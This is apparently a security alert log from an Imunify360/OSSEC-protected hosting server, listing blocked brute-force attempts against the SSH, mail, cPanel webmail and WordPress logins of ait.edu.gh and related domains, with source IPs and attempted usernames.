[2025-01-29 12:49:41 +0100] info [webmaild] 190.15.122.119 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.98.10.109
description:
Jan 29 12:49:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.98.10.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.58.18.216
description:
Jan 29 12:49:40 ait sshd[130143]: pam_imunify(sshd:auth): [IM360_RBL] The IP 37.58.18.216 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 37.58.18.216
description:
Jan 29 12:49:40 ait sshd[130143]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.58.18.216


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.145.205
description:
2025-01-29 12:50:07 dovecot_plain authenticator failed for 205.145.48.116.static.netvigator.com [116.48.145.205]:54367: 535 Incorrect authentication data (set_id=ads23a00018y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.189.124.10
description:
Jan 29 12:50:29 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.189.124.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.189.124.10
description:
2025-01-29 12:50:31 dovecot_plain authenticator failed for ([203.189.124.10]) [203.189.124.10]:34642: 535 Incorrect authentication data (set_id=ads20b00296y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 205.196.221.238
domain: iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:12-50.205.196.221.238


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.234.21.224
description:
[2025-01-29 12:50:54 +0100] info [webmaild] 179.234.21.224 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.191.142.67
description:
Jan 29 12:50:19 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.191.142.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
description:
2025-01-29 12:50:21 dovecot_plain authenticator failed for ([196.191.142.67]) [196.191.142.67]:49492: 535 Incorrect authentication data (set_id=ads20b00296y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.124.241.138
description:
2025-01-29 12:51:59 dovecot_login authenticator failed for ([116.124.241.138]) [116.124.241.138]:42374: 535 Incorrect authentication data (set_id=valeria553)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 37.58.18.216
description:
Jan 29 12:52:10 ait sshd[131560]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.58.18.216


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.153.140.202
description:
2025-01-29 12:52:12 dovecot_plain authenticator failed for (hostglobal.plus) [78.153.140.202]:45140: 535 Incorrect authentication data (set_id=eng22b00146y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 12:51:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.191.62.159
description:
[2025-01-29 12:51:37 +0100] info [webmaild] 181.191.62.159 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.228.225.21
description:
Jan 29 12:51:39 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.228.225.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.153.140.202
description:
Jan 29 12:52:10 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.153.140.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.58.18.216
description:
Jan 29 12:52:10 ait sshd[131560]: pam_imunify(sshd:auth): [IM360_RBL] The IP 37.58.18.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.141.147.181
description:
2025-01-29 12:51:31 dovecot_login authenticator failed for p238181-obmd01.tokyo.ocn.ne.jp [153.141.147.181]:56496: 535 Incorrect authentication data (set_id=valeria553@ait-edu.us)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.13.206.28
description:
Jan 29 12:51:41 ait sshd[131322]: pam_imunify(sshd:auth): [IM360_RBL] The IP 103.13.206.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.124.241.138
description:
Jan 29 12:51:57 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.124.241.138 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.116.114
description:
47.128.116.114 - - [29/Jan/2025:12:51:18 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=8818734 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-category=61%2C125%2C205&filter_course-language=183%2C121&filtering=1&price_type=paid&rating_filter=5" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.116.114


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.180.32.107
description:
[2025-01-29 12:51:47 +0100] info [webmaild] 191.180.32.107 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 152.42.168.228
description:
Jan 29 12:51:28 ait sshd[131236]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=152.42.168.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.228.225.21
description:
2025-01-29 12:51:41 dovecot_login authenticator failed for ([122.228.225.21]) [122.228.225.21]:54130: 535 Incorrect authentication data (set_id=valeria553@ait-edu.us)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 103.13.206.28
description:
Jan 29 12:51:41 ait sshd[131322]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.13.206.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 153.141.147.181
description:
Jan 29 12:51:29 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 153.141.147.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.42.168.228
description:
Jan 29 12:51:28 ait sshd[131236]: pam_imunify(sshd:auth): [IM360_RBL] The IP 152.42.168.228 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 12:52:21 ait sshd[130849]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.193.122.91
description:
Jan 29 12:52:38 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.193.122.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.25.18.18
description:
Jan 29 12:52:30 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.25.18.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.91.68
description:
Jan 29 12:52:31 ait sshd[131692]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.255.91.68 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.25.18.18
description:
2025-01-29 12:52:32 dovecot_plain authenticator failed for ([1.25.18.18]) [1.25.18.18]:46318: 535 Incorrect authentication data (set_id=eng19b00159y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.193.122.91
description:
2025-01-29 12:52:40 dovecot_plain authenticator failed for (82.193.122.91.cl.ipnet.ua) [82.193.122.91]:54361: 535 Incorrect authentication data (set_id=eng19b00159y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.42.168.228
description:
Jan 29 12:53:06 ait sshd[132170]: pam_imunify(sshd:auth): [IM360_RBL] The IP 152.42.168.228 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 152.42.168.228
description:
Jan 29 12:53:06 ait sshd[132170]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=152.42.168.228


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 111.231.56.128
description:
Jan 29 12:52:21 ait sshd[130849]: Invalid user xn--minblhimmel-18a.se 2001 from 111.231.56.128 port 33994


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.58.113.182
description:
Jan 29 12:52:22 ait sshd[131660]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.58.113.182


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.255.91.68
description:
Jan 29 12:52:31 ait sshd[131692]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.255.91.68


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.153.140.202
description:
2025-01-29 12:52:18 dovecot_login authenticator failed for (hostglobal.plus) [78.153.140.202]:45140: 535 Incorrect authentication data (set_id=eng22b00146y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 29 12:52:21 ait sshd[130849]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.58.113.182
description:
Jan 29 12:52:22 ait sshd[131660]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.58.113.182 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.255.91.68
description:
Jan 29 12:53:53 ait sshd[132602]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.255.91.68


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 37.58.18.216
description:
Jan 29 12:53:28 ait sshd[132328]: Failed password for invalid user test1 from 37.58.18.216 port 58232 ssh2


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 103.13.206.28
description:
Jan 29 12:53:30 ait sshd[132358]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.13.206.28


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 37.58.18.216
description:
Jan 29 12:53:25 ait sshd[132328]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.58.18.216


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.13.206.28
description:
Jan 29 12:53:30 ait sshd[132358]: pam_imunify(sshd:auth): [IM360_RBL] The IP 103.13.206.28 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.58.113.182
description:
Jan 29 12:53:33 ait sshd[132393]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.58.113.182


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.91.68
description:
Jan 29 12:53:53 ait sshd[132602]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.255.91.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 12:53:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.248.17.207
description:
[2025-01-29 12:53:34 +0100] info [webmaild] 177.248.17.207 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.58.18.216
description:
Jan 29 12:53:25 ait sshd[132328]: pam_imunify(sshd:auth): [IM360_RBL] The IP 37.58.18.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.58.113.182
description:
Jan 29 12:53:33 ait sshd[132393]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.58.113.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.42.168.228
description:
Jan 29 12:54:30 ait sshd[132790]: pam_imunify(sshd:auth): [IM360_RBL] The IP 152.42.168.228 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 152.42.168.228
description:
Jan 29 12:54:30 ait sshd[132790]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=152.42.168.228


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.13.206.28
description:
Jan 29 12:55:05 ait sshd[133177]: pam_imunify(sshd:auth): [IM360_RBL] The IP 103.13.206.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 12:54:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 103.13.206.28
description:
Jan 29 12:55:05 ait sshd[133177]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.13.206.28


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.68.46
description:
2025-01-29 12:55:46 dovecot_plain authenticator failed for ([59.98.150.190]) [122.160.68.46]:37844: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.205.132.22
description:
[2025-01-29 12:55:30 +0100] info [webmaild] 103.205.132.22 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.90.128.97
description:
Jan 29 12:55:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.90.128.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
description:
2025-01-29 12:55:34 dovecot_plain authenticator failed for syn-172-090-128-097.res.spectrum.com [172.90.128.97]:62563: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.68.46
description:
Jan 29 12:55:44 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.68.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 12:55:48 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.156.124.94
description:
Jan 29 12:56:41 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.156.124.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.156.124.94
description:
2025-01-29 12:56:43 dovecot_login authenticator failed for (94.124.156.175.unknown.m1.com.sg) [175.156.124.94]:53077: 535 Incorrect authentication data (set_id=ampofo)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.49.52.14
description:
[2025-01-29 12:57:03 +0100] info [webmaild] 179.49.52.14 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 12:57:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 12:57:17 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.43.106.73
description:
Jan 29 12:56:30 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.43.106.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.43.106.73
description:
2025-01-29 12:56:32 dovecot_login authenticator failed for (Bundle-Ether3.2581.static.gvt.net.br) [177.43.106.73]:48542: 535 Incorrect authentication data (set_id=ampofo@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.166.70.166
description:
2025-01-29 12:58:13 dovecot_plain authenticator failed for (sorivery) [109.166.70.166]:9295: 535 Incorrect authentication data (set_id=sales@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 198.163.193.88
description:
[2025-01-29 12:58:15 +0100] info [webmaild] 198.163.193.88 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.59.216.208
description:
[2025-01-29 12:57:59 +0100] info [webmaild] 103.59.216.208 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 12:58:00 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.166.70.166
description:
Jan 29 12:58:11 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.166.70.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 12:58:49 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 178.120.154.53
description:
[2025-01-29 12:58:56 +0100] info [webmaild] 178.120.154.53 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.124.227.3
description:
[2025-01-29 12:58:58 +0100] info [webmaild] 103.124.227.3 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 8.218.126.161
description:
Jan 29 13:00:23 ait sshd[136517]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=8.218.126.161  user=aitopen


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.94.7.159
description:
[2025-01-29 13:00:25 +0100] info [webmaild] 45.94.7.159 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.41.42.76
description:
Jan 29 13:00:29 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.41.42.76 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.41.42.76
description:
2025-01-29 13:00:31 dovecot_plain authenticator failed for (untephyl) [185.41.42.76]:6444: 535 Incorrect authentication data (set_id=freeman@jaster.us)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 39.32.60.110
description:
[2025-01-29 13:00:54 +0100] info [webmaild] 39.32.60.110 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 13:03:01 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 13:03:15 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.54.71.33
description:
[2025-01-29 13:02:36 +0100] info [webmaild] 84.54.71.33 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 118.179.110.54
description:
[2025-01-29 13:02:46 +0100] info [webmaild] 118.179.110.54 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.19.19.130
description:
[2025-01-29 13:02:55 +0100] info [webmaild] 187.19.19.130 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 13:03:33 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 89.148.4.169
description:
[2025-01-29 13:04:04 +0100] info [webmaild] 89.148.4.169 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 29 13:04:36 ait sshd[139528]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 13:04:36 ait sshd[139528]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.79.136.22
description:
[2025-01-29 13:04:45 +0100] info [webmaild] 170.79.136.22 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 111.231.56.128
description:
Jan 29 13:04:36 ait sshd[139528]: Invalid user xn--minblhimmel-18a.se 2001 from 111.231.56.128 port 38440


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 138.121.188.41
description:
[2025-01-29 13:04:52 +0100] info [webmaild] 138.121.188.41 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 13:04:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.140.244.144
description:
2025-01-29 13:06:08 dovecot_plain authenticator failed for ([125.140.244.144]) [125.140.244.144]:44252: 535 Incorrect authentication data (set_id=jntsoumou@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.140.244.144
description:
Jan 29 13:06:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.140.244.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 13:05:34 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.40.62.195
description:
2025-01-29 13:05:41 dovecot_plain authenticator failed for (7wufq6vsurfcdpmcjca8q1joa1i) [77.40.62.195]:20038: 535 Incorrect authentication data (set_id=ads15a00028y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.28.60.82
description:
Jan 29 13:05:38 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.28.60.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.40.62.195
description:
Jan 29 13:05:39 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.40.62.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.28.60.82
description:
2025-01-29 13:05:40 dovecot_plain authenticator failed for ([60.28.60.82]) [60.28.60.82]:48108: 535 Incorrect authentication data (set_id=edonkor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.247.196.106
description:
Jan 29 13:05:20 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.247.196.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.247.196.106
description:
2025-01-29 13:05:22 dovecot_plain authenticator failed for 186-247-196-106.user.veloxzone.com.br [186.247.196.106]:33763: 535 Incorrect authentication data (set_id=edonkor@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.134.78.162
description:
Jan 29 13:06:25 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.134.78.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.134.78.162
description:
2025-01-29 13:06:27 dovecot_plain authenticator failed for ([36.134.78.162]) [36.134.78.162]:54408: 535 Incorrect authentication data (set_id=jntsoumou)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.197.158.41
description:
[2025-01-29 13:06:33 +0100] info [webmaild] 168.197.158.41 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.188.178.140
description:
[2025-01-29 13:07:12 +0100] info [webmaild] 45.188.178.140 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:13-07.80.76.51.123


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 13:08:17 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.186.102.33
description:
Jan 29 13:09:09 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.186.102.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.186.102.33
description:
2025-01-29 13:09:11 dovecot_plain authenticator failed for ([112.186.102.33]) [112.186.102.33]:47057: 535 Incorrect authentication data (set_id=ug21m1150009@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.212.20.130
description:
